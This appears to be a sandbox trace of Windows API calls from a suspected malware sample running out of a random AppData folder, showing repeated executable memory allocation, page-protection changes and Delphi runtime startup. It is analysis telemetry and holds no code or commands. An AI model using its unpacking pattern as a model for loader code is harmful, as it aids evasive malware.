	[0106.011] VirtualAlloc (lpAddress=0x0, dwSize=0x1884, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.013] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2a9, flAllocationType=0x1000, flProtect=0x40) returned 0x6e30000
	[0106.014] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.014] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.014] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.016] VirtualAlloc (lpAddress=0x0, dwSize=0xd8, flAllocationType=0x1000, flProtect=0x40) returned 0x6e40000
	[0106.018] VirtualAlloc (lpAddress=0x0, dwSize=0x166f, flAllocationType=0x1000, flProtect=0x40) returned 0x6e50000
	[0106.019] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.019] VirtualAlloc (lpAddress=0x0, dwSize=0xa0b, flAllocationType=0x1000, flProtect=0x40) returned 0x6e60000
	[0106.020] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.021] VirtualAlloc (lpAddress=0x0, dwSize=0xe88, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.022] VirtualAlloc (lpAddress=0x0, dwSize=0x9a7, flAllocationType=0x1000, flProtect=0x40) returned 0x6e70000
	[0106.023] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.023] VirtualAlloc (lpAddress=0x0, dwSize=0xd44, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.025] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.025] VirtualAlloc (lpAddress=0x0, dwSize=0x650, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.026] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.026] VirtualAlloc (lpAddress=0x0, dwSize=0x1884, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.029] VirtualAlloc (lpAddress=0x0, dwSize=0x11b, flAllocationType=0x1000, flProtect=0x40) returned 0x6e80000
	[0106.029] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.029] VirtualAlloc (lpAddress=0x0, dwSize=0xd44, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.032] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.032] VirtualAlloc (lpAddress=0x0, dwSize=0x1884, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.034] VirtualAlloc (lpAddress=0x0, dwSize=0x44b, flAllocationType=0x1000, flProtect=0x40) returned 0x6e90000
	[0106.035] VirtualAlloc (lpAddress=0x0, dwSize=0xf3, flAllocationType=0x1000, flProtect=0x40) returned 0x6ea0000
	[0106.037] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x1000, flProtect=0x40) returned 0x6eb0000
	[0106.037] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.038] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.038] VirtualAlloc (lpAddress=0x0, dwSize=0x670, flAllocationType=0x1000, flProtect=0x40) returned 0x6ec0000
	[0106.039] VirtualAlloc (lpAddress=0x0, dwSize=0x4a9, flAllocationType=0x1000, flProtect=0x40) returned 0x6ed0000
	[0106.040] VirtualAlloc (lpAddress=0x0, dwSize=0x384, flAllocationType=0x1000, flProtect=0x40) returned 0x6ee0000
	[0106.041] VirtualAlloc (lpAddress=0x0, dwSize=0x158, flAllocationType=0x1000, flProtect=0x40) returned 0x6ef0000
	[0106.043] VirtualAlloc (lpAddress=0x0, dwSize=0x839, flAllocationType=0x1000, flProtect=0x40) returned 0x6f00000
	[0106.044] VirtualAlloc (lpAddress=0x0, dwSize=0x1b2, flAllocationType=0x1000, flProtect=0x40) returned 0x6f10000
	[0106.045] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.045] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77c40000
	[0106.045] VirtualAlloc (lpAddress=0x0, dwSize=0x27d, flAllocationType=0x1000, flProtect=0x40) returned 0x6f20000
	[0106.046] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.046] VirtualAlloc (lpAddress=0x0, dwSize=0x44, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.047] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.047] VirtualAlloc (lpAddress=0x0, dwSize=0xd74, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.049] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.049] VirtualAlloc (lpAddress=0x0, dwSize=0xe88, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.051] VirtualAlloc (lpAddress=0x0, dwSize=0x3cd, flAllocationType=0x1000, flProtect=0x40) returned 0x6f30000
	[0106.052] VirtualAlloc (lpAddress=0x0, dwSize=0x251, flAllocationType=0x1000, flProtect=0x40) returned 0x6f40000
	[0106.053] VirtualAlloc (lpAddress=0x0, dwSize=0x452, flAllocationType=0x1000, flProtect=0x40) returned 0x6f50000
	[0106.054] VirtualAlloc (lpAddress=0x0, dwSize=0x1ab, flAllocationType=0x1000, flProtect=0x40) returned 0x6f60000
	[0106.055] VirtualAlloc (lpAddress=0x0, dwSize=0x72b, flAllocationType=0x1000, flProtect=0x40) returned 0x6f70000
	[0106.056] VirtualAlloc (lpAddress=0x0, dwSize=0x4b1, flAllocationType=0x1000, flProtect=0x40) returned 0x6f80000
	[0106.058] VirtualAlloc (lpAddress=0x0, dwSize=0x69b, flAllocationType=0x1000, flProtect=0x40) returned 0x6f90000
	[0106.058] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x1000, flProtect=0x40) returned 0x6fa0000
	[0106.060] VirtualAlloc (lpAddress=0x0, dwSize=0x655, flAllocationType=0x1000, flProtect=0x40) returned 0x6fb0000
	[0106.061] VirtualAlloc (lpAddress=0x0, dwSize=0x321, flAllocationType=0x1000, flProtect=0x40) returned 0x6fc0000
	[0106.062] VirtualAlloc (lpAddress=0x0, dwSize=0x703, flAllocationType=0x1000, flProtect=0x40) returned 0x6fd0000
	[0106.063] VirtualAlloc (lpAddress=0x0, dwSize=0xbb3, flAllocationType=0x1000, flProtect=0x40) returned 0x6fe0000
	[0106.063] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x6ff0000
	[0106.065] VirtualAlloc (lpAddress=0x0, dwSize=0x29b, flAllocationType=0x1000, flProtect=0x40) returned 0x7000000
	[0106.066] VirtualAlloc (lpAddress=0x0, dwSize=0x6d0, flAllocationType=0x1000, flProtect=0x40) returned 0x7010000
	[0106.067] VirtualAlloc (lpAddress=0x0, dwSize=0x8b, flAllocationType=0x1000, flProtect=0x40) returned 0x7020000
	[0106.069] VirtualAlloc (lpAddress=0x0, dwSize=0x165, flAllocationType=0x1000, flProtect=0x40) returned 0x7030000
	[0106.070] VirtualAlloc (lpAddress=0x0, dwSize=0x2ca, flAllocationType=0x1000, flProtect=0x40) returned 0x7040000
	[0106.071] VirtualAlloc (lpAddress=0x0, dwSize=0x6a2, flAllocationType=0x1000, flProtect=0x40) returned 0x7050000
	[0106.072] VirtualAlloc (lpAddress=0x0, dwSize=0x4f1, flAllocationType=0x1000, flProtect=0x40) returned 0x7060000
	[0106.074] VirtualAlloc (lpAddress=0x0, dwSize=0xfb4, flAllocationType=0x1000, flProtect=0x40) returned 0x7070000
	[0106.075] VirtualAlloc (lpAddress=0x0, dwSize=0x134, flAllocationType=0x1000, flProtect=0x40) returned 0x7080000
	[0106.076] VirtualAlloc (lpAddress=0x0, dwSize=0x3e9, flAllocationType=0x1000, flProtect=0x40) returned 0x7090000
	[0106.078] VirtualAlloc (lpAddress=0x0, dwSize=0x11d8, flAllocationType=0x1000, flProtect=0x40) returned 0x70a0000
	[0106.079] VirtualAlloc (lpAddress=0x0, dwSize=0x10fd, flAllocationType=0x1000, flProtect=0x40) returned 0x70b0000
	[0106.465] VirtualAlloc (lpAddress=0x0, dwSize=0x57d, flAllocationType=0x1000, flProtect=0x40) returned 0x70c0000
	[0106.466] VirtualAlloc (lpAddress=0x0, dwSize=0x29b, flAllocationType=0x1000, flProtect=0x40) returned 0x70d0000
	[0106.468] VirtualAlloc (lpAddress=0x0, dwSize=0x908, flAllocationType=0x1000, flProtect=0x40) returned 0x70e0000
	[0106.469] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x1000, flProtect=0x40) returned 0x70f0000
	[0106.471] VirtualAlloc (lpAddress=0x0, dwSize=0xc15, flAllocationType=0x1000, flProtect=0x40) returned 0x7100000
	[0106.472] VirtualAlloc (lpAddress=0x0, dwSize=0x50a, flAllocationType=0x1000, flProtect=0x40) returned 0x7110000
	[0106.474] VirtualAlloc (lpAddress=0x0, dwSize=0x174, flAllocationType=0x1000, flProtect=0x40) returned 0x7120000
	[0106.475] VirtualAlloc (lpAddress=0x0, dwSize=0x1fe, flAllocationType=0x1000, flProtect=0x40) returned 0x7130000
	[0106.477] VirtualAlloc (lpAddress=0x0, dwSize=0x592, flAllocationType=0x1000, flProtect=0x40) returned 0x7140000
	[0106.479] VirtualAlloc (lpAddress=0x0, dwSize=0x502, flAllocationType=0x1000, flProtect=0x40) returned 0x7150000
	[0106.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2c52, flAllocationType=0x1000, flProtect=0x40) returned 0x7160000
	[0106.484] VirtualAlloc (lpAddress=0x0, dwSize=0x1e5, flAllocationType=0x1000, flProtect=0x40) returned 0x7170000
	[0106.486] VirtualAlloc (lpAddress=0x0, dwSize=0x27a, flAllocationType=0x1000, flProtect=0x40) returned 0x7180000
	[0106.488] VirtualAlloc (lpAddress=0x0, dwSize=0x10a6, flAllocationType=0x1000, flProtect=0x40) returned 0x7190000
	[0106.490] VirtualAlloc (lpAddress=0x0, dwSize=0x10e, flAllocationType=0x1000, flProtect=0x40) returned 0x71a0000
	[0106.491] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.491] VirtualAlloc (lpAddress=0x0, dwSize=0x76c, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.492] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.493] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.493] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.493] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.494] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.494] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.494] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0") returned 0x77090000
	[0106.494] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.494] VirtualAlloc (lpAddress=0x0, dwSize=0x650, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.495] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.495] VirtualAlloc (lpAddress=0x0, dwSize=0x1884, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.497] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.497] VirtualAlloc (lpAddress=0x0, dwSize=0x650, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.497] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.498] VirtualAlloc (lpAddress=0x0, dwSize=0x24c, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.606] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.607] VirtualAlloc (lpAddress=0x0, dwSize=0x314, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.625] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.625] VirtualAlloc (lpAddress=0x0, dwSize=0x788, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.626] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.626] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.627] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.627] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.628] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.629] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.629] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.629] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.629] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.629] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.630] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.630] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.630] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.630] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.630] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.631] GetModuleHandleA (lpModuleName="ws2_32") returned 0x77930000
	[0106.631] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.631] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.631] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.631] VirtualAlloc (lpAddress=0x0, dwSize=0x788, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.632] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.632] VirtualAlloc (lpAddress=0x0, dwSize=0x4c4, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.633] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.633] VirtualAlloc (lpAddress=0x0, dwSize=0x4c4, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.634] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.634] VirtualAlloc (lpAddress=0x0, dwSize=0xd44, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.636] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.636] VirtualAlloc (lpAddress=0x0, dwSize=0xe88, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.637] VirtualAlloc (lpAddress=0x0, dwSize=0x3e8, flAllocationType=0x1000, flProtect=0x40) returned 0x71b0000
	[0106.639] VirtualAlloc (lpAddress=0x0, dwSize=0x541, flAllocationType=0x1000, flProtect=0x40) returned 0x71c0000
	[0106.641] VirtualAlloc (lpAddress=0x0, dwSize=0x5d3, flAllocationType=0x1000, flProtect=0x40) returned 0x71d0000
	[0106.642] VirtualAlloc (lpAddress=0x0, dwSize=0x5f5, flAllocationType=0x1000, flProtect=0x40) returned 0x71e0000
	[0106.644] VirtualAlloc (lpAddress=0x0, dwSize=0x568, flAllocationType=0x1000, flProtect=0x40) returned 0x71f0000
	[0106.645] VirtualAlloc (lpAddress=0x0, dwSize=0x3fb, flAllocationType=0x1000, flProtect=0x40) returned 0x7200000
	[0106.645] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.646] VirtualAlloc (lpAddress=0x0, dwSize=0x300, flAllocationType=0x1000, flProtect=0x40) returned 0x6e20000
	[0106.646] VirtualFree (lpAddress=0x6e20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.646] VirtualFree (lpAddress=0x5910000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.647] VirtualFree (lpAddress=0x3e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.647] VirtualFree (lpAddress=0x6e00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.647] VirtualFree (lpAddress=0x6e10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.648] VirtualFree (lpAddress=0x6df0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.648] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1c2f74c | out: Wow64Process=0x1c2f74c) returned 1
	[0106.651] SetEvent (hEvent=0x154) returned 1
	[0106.651] Sleep (dwMilliseconds=0x0) 
	[0106.652] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x19affaf | out: lpflOldProtect=0x19affaf*=0x2) returned 1
	[0106.652] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x19b0ec2 | out: lpflOldProtect=0x19b0ec2*=0x4) returned 1
	[0106.652] GetProcAddress (hModule=0x77c40000, lpProcName="RtlAllocateHeap") returned 0x77c7da90
	[0106.652] SetEvent (hEvent=0x138) returned 1
	[0106.652] Sleep (dwMilliseconds=0x0) 
	[0106.653] SetEvent (hEvent=0x120) returned 1
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] SetEvent (hEvent=0x144) returned 1
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] SetEvent (hEvent=0x13c) returned 1
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] SetEvent (hEvent=0x140) returned 1
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.654] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x19affaf | out: lpflOldProtect=0x19affaf*=0x2) returned 1
	[0106.654] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x19b06c9 | out: lpflOldProtect=0x19b06c9*=0x4) returned 1
	[0106.654] SetEvent (hEvent=0x120) returned 1
	[0106.654] Sleep (dwMilliseconds=0x0) 
	[0106.654] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0106.654] WTSGetServiceSessionId () returned 0x0
	[0106.655] GetCommandLineA () returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe"
	[0106.655] KernelBaseGetGlobalData () returned 0x76ac1760
	[0106.655] RtlUnicodeStringToAnsiString (in: DestinationString=0x19fda4, SourceString=0x231168, AllocateDestinationString=1 | out: DestinationString=0x19fda4) returned 0x0
	[0106.655] RtlUnicodeStringToAnsiString (in: DestinationString=0x19fdac, SourceString="WinSta0\\Default", AllocateDestinationString=1 | out: DestinationString="WinSta0\\Default") returned 0x0
	[0106.655] RtlUnicodeStringToAnsiString (in: DestinationString=0x19fd9c, SourceString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", AllocateDestinationString=1 | out: DestinationString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe") returned 0x0
	[0106.655] GetVersion () returned 0x23f00206
	[0106.655] GetVersion () returned 0x23f00206
	[0106.655] GetCurrentThreadId () returned 0xd04
	[0106.656] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f8cc, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0106.656] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19f7a7, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0106.656] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f8bc | out: phkResult=0x19f8bc*=0x0) returned 0x2
	[0106.656] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f8bc | out: phkResult=0x19f8bc*=0x0) returned 0x2
	[0106.656] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19f8bc | out: phkResult=0x19f8bc*=0x0) returned 0x2
	[0106.656] lstrcpynA (in: lpString1=0x19f7a7, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", iMaxLength=261 | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe"
	[0106.656] GetThreadLocale () returned 0x409
	[0106.656] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x19f8b7, cchData=5 | out: lpLCData="ENU") returned 4
	[0106.656] lstrlenA (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe") returned 55
	[0106.656] lstrcpynA (in: lpString1=0x19f7db, lpString2="ENU", iMaxLength=209 | out: lpString1="ENU") returned="ENU"
	[0106.656] LoadLibraryExA (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.ENU", hFile=0x0, dwFlags=0x2) returned 0x0
	[0106.657] lstrcpynA (in: lpString1=0x19f7db, lpString2="EN", iMaxLength=209 | out: lpString1="EN") returned="EN"
	[0106.657] LoadLibraryExA (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.EN", hFile=0x0, dwFlags=0x2) returned 0x0
	[0106.657] LoadStringBaseExW () returned 0x32
	[0106.657] WCSToMBEx () returned 0x32
	[0106.657] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x250df0
	[0106.657] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x7210000
	[0106.658] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x251df0
	[0106.658] VirtualAlloc (lpAddress=0x7210000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7210000
	[0106.659] LoadStringBaseExW () returned 0x31
	[0106.659] WCSToMBEx () returned 0x31
	[0106.659] LoadStringBaseExW () returned 0x40
	[0106.659] WCSToMBEx () returned 0x40
	[0106.659] LoadStringBaseExW () returned 0x29
	[0106.659] WCSToMBEx () returned 0x29
	[0106.659] LoadStringBaseExW () returned 0x27
	[0106.660] WCSToMBEx () returned 0x27
	[0106.660] LoadStringBaseExW () returned 0x34
	[0106.660] WCSToMBEx () returned 0x34
	[0106.660] LoadStringBaseExW () returned 0x1f
	[0106.660] WCSToMBEx () returned 0x1f
	[0106.660] LoadStringBaseExW () returned 0x22
	[0106.660] WCSToMBEx () returned 0x22
	[0106.661] LoadStringBaseExW () returned 0x2a
	[0106.661] WCSToMBEx () returned 0x2a
	[0106.661] LoadStringBaseExW () returned 0x22
	[0106.661] WCSToMBEx () returned 0x22
	[0106.661] LoadStringBaseExW () returned 0x22
	[0106.661] WCSToMBEx () returned 0x22
	[0106.661] LoadStringBaseExW () returned 0x2e
	[0106.662] WCSToMBEx () returned 0x2e
	[0106.662] LoadStringBaseExW () returned 0x22
	[0106.662] WCSToMBEx () returned 0x22
	[0106.662] LoadStringBaseExW () returned 0x29
	[0106.662] WCSToMBEx () returned 0x29
	[0106.662] LoadStringBaseExW () returned 0x28
	[0106.662] WCSToMBEx () returned 0x28
	[0106.663] LoadStringBaseExW () returned 0x1d
	[0106.663] WCSToMBEx () returned 0x1d
	[0106.663] LoadStringBaseExW () returned 0x1f
	[0106.663] WCSToMBEx () returned 0x1f
	[0106.663] LoadStringBaseExW () returned 0x23
	[0106.663] WCSToMBEx () returned 0x23
	[0106.663] LoadStringBaseExW () returned 0x32
	[0106.663] WCSToMBEx () returned 0x32
	[0106.664] LoadStringBaseExW () returned 0x1c
	[0106.664] WCSToMBEx () returned 0x1c
	[0106.664] LoadStringBaseExW () returned 0x17
	[0106.664] WCSToMBEx () returned 0x17
	[0106.664] LoadStringBaseExW () returned 0x15
	[0106.664] WCSToMBEx () returned 0x15
	[0106.664] LoadStringBaseExW () returned 0x10
	[0106.665] WCSToMBEx () returned 0x10
	[0106.665] LoadStringBaseExW () returned 0x29
	[0106.665] WCSToMBEx () returned 0x29
	[0106.665] LoadStringBaseExW () returned 0x10
	[0106.665] WCSToMBEx () returned 0x10
	[0106.665] LoadStringBaseExW () returned 0x24
	[0106.665] WCSToMBEx () returned 0x24
	[0106.666] LoadStringBaseExW () returned 0x22
	[0106.666] WCSToMBEx () returned 0x22
	[0106.666] LoadStringBaseExW () returned 0x19
	[0106.666] WCSToMBEx () returned 0x19
	[0106.666] LoadStringBaseExW () returned 0x1f
	[0106.666] WCSToMBEx () returned 0x1f
	[0106.666] LoadStringBaseExW () returned 0xe
	[0106.666] WCSToMBEx () returned 0xe
	[0106.667] LoadStringBaseExW () returned 0xd
	[0106.667] WCSToMBEx () returned 0xd
	[0106.667] LoadStringBaseExW () returned 0x16
	[0106.667] WCSToMBEx () returned 0x16
	[0106.667] LoadStringBaseExW () returned 0x10
	[0106.667] WCSToMBEx () returned 0x10
	[0106.667] LoadStringBaseExW () returned 0x16
	[0106.668] WCSToMBEx () returned 0x16
	[0106.668] LoadStringBaseExW () returned 0x18
	[0106.668] WCSToMBEx () returned 0x18
	[0106.668] LoadStringBaseExW () returned 0x17
	[0106.668] WCSToMBEx () returned 0x17
	[0106.668] LoadStringBaseExW () returned 0x1f
	[0106.668] WCSToMBEx () returned 0x1f
	[0106.669] LoadStringBaseExW () returned 0x20
	[0106.669] WCSToMBEx () returned 0x20
	[0106.669] LoadStringBaseExW () returned 0x10
	[0106.669] WCSToMBEx () returned 0x10
	[0106.669] LoadStringBaseExW () returned 0x11
	[0106.669] WCSToMBEx () returned 0x11
	[0106.669] LoadStringBaseExW () returned 0x10
	[0106.670] WCSToMBEx () returned 0x10
	[0106.670] LoadStringBaseExW () returned 0x15
	[0106.670] WCSToMBEx () returned 0x15
	[0106.670] LoadStringBaseExW () returned 0x9
	[0106.670] WCSToMBEx () returned 0x9
	[0106.670] LoadStringBaseExW () returned 0x17
	[0106.670] WCSToMBEx () returned 0x17
	[0106.671] LoadStringBaseExW () returned 0x12
	[0106.671] WCSToMBEx () returned 0x12
	[0106.671] LoadStringBaseExW () returned 0x13
	[0106.671] WCSToMBEx () returned 0x13
	[0106.671] LoadStringBaseExW () returned 0x10
	[0106.671] WCSToMBEx () returned 0x10
	[0106.671] LoadStringBaseExW () returned 0xe
	[0106.671] WCSToMBEx () returned 0xe
	[0106.672] LoadStringBaseExW () returned 0xd
	[0106.672] WCSToMBEx () returned 0xd
	[0106.672] LoadStringBaseExW () returned 0x19
	[0106.672] WCSToMBEx () returned 0x19
	[0106.672] GetVersionExA (in: lpVersionInformation=0x19fd64*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2310e8, dwMinorVersion=0x50388c, dwBuildNumber=0x24c3f0, dwPlatformId=0x19fdb4, szCSDVersion="\x8cý\x19") | out: lpVersionInformation=0x19fd64*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0106.672] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x77670000
	[0106.672] GetProcAddressForCaller () returned 0x776962c0
	[0106.672] GetThreadLocale () returned 0x409
	[0106.672] GetThreadLocale () returned 0x409
	[0106.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Jan") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="January") returned 8
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Feb") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="February") returned 9
